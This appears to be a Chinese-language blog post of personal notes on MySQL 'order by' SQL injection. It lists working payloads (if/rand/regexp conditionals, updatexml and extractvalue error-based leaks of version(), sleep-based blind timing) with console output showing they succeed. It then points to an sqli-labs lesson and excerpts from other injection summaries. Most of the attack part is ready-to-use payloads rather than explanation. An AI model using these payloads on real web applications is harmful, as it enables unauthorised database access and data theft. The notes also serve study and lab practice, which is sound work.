之前已經學過的東西,準備把他們依次總結下,包括之前看的一些文章,一些小的tricks之類的,就先從注入開始吧
a. if
select * from user where user_id=1 order by 1-if(substr(version(),1,1)=5,1,(select 1 union select 2));
+-------+-----------+---------+
| user | password | user_id |
+-------+-----------+---------+
| admin | admintest | 1 |
+-------+-----------+---------+
1 row in set (0.00 sec)
b.rand
mysql> select rand(true);
+---------------------+
| rand(true) |
+---------------------+
| 0.40540353712197724 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand(false);
+---------------------+
| rand(false) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
這裡可以利用rand(true) rand(false)的值不同,排序注入後面的順序也不同
mysql> select * from user order by 1-rand(substr(version(),1,1)=5);
+-------+-----------+---------+
| user | password | user_id |
+-------+-----------+---------+
| test | testadmin | 2 |
| admin | admintest | 1 |
| sp4rk | sp4rktest | 3 |
+-------+-----------+---------+
3 rows in set (0.02 sec)
c.regexp
select * from user order by 1-if(1=(select 1 regexp if(1=1,1,0x00)),1,1);
select * from user order by 1-updatexml(1,concat(0x5e24,version(),0x5e24),0);
error 1105 (hy000): xpath syntax error: '^$5.7.22-0ubuntu18.04.1^$'
mysql> select * from user order by 1-extractvalue(1,concat(0x5e24,version(),0x5e24));
error 1105 (hy000): xpath syntax error: '^$5.7.22-0ubuntu18.04.1^$'
select * from user order by 1-if(ascii(substr(user(),1,1))=114,sleep(5),0);
mysql> select user from user order by user,if(substr(version(),1,1)=5,1,(select 1 union select 2)) desc;
+-------+
| user |
+-------+
| admin |
| sp4rk |
| test |
+-------+
報錯,延時同上
mysql> select user from user order by 1-if(1=1,user,user_id);
+-------+
| user |
+-------+
| admin |
| test |
| sp4rk |
+-------+
3 rows in set, 3 warnings (0.00 sec)
mysql> select user from user order by 1-if(1=1,user_id,user);
+-------+
| user |
+-------+
| sp4rk |
| test |
| admin |
+-------+
payload: ,if(1=1,user_id,user);
,(case when (1=1) then user_id else user end)
,ifnull(null,user_id)
,rand(1=1)
payload:
if(1=1,1,(select 1 union select 2)) 正確
if(1=2,1,(select 1 union select 2)) 錯誤
if(1=1,1,(select 1 from information_schema.tables)) 正確
if(1=2,1,(select 1 from information_schema.tables)) 錯誤
sqli labs 十六 order by注入
第四十六關 這有篇文章講得還不錯可以看下 這關是order by後面的乙個注入,用報錯注入和盲注都是可以的 先看原始碼吧 可以看到是order by後面存在注入漏洞。輸入?sort 1 頁面報錯,可以使用報錯注入 後面的流程和之前報錯注入的流程沒什麼區別了 也可以使用updatexml 這裡順便把盲...
SQL注入小結
利用惡意不規範的 進行sql查詢,且能被sql執行器執行,達到利用資料庫特性獲取更多資訊或者進行提權等目的 2.1 數字型 檢測方法 2.2 字元型 檢測方法 基於以上兩種注入型別,又可分為報錯注入 盲注 寬位元組注入 post注入 cookie注入等 下面分別介紹這幾種注入型別 2.3 報錯注入 ...
SQL注入漏洞小結
1 前提 1,前端傳入後端的引數是使用者可控的 2,傳入的引數拼接到sql語句,且帶入資料庫查詢。2 成因 由於web應用程式對使用者輸入的資料的合法性沒有判斷,使用者通過可控引數中注入sql語句,破壞原有sql結構,達到編寫程式時意料之外結果的攻擊行為,成因歸結為兩個 1 程式編寫者在處理程式和資...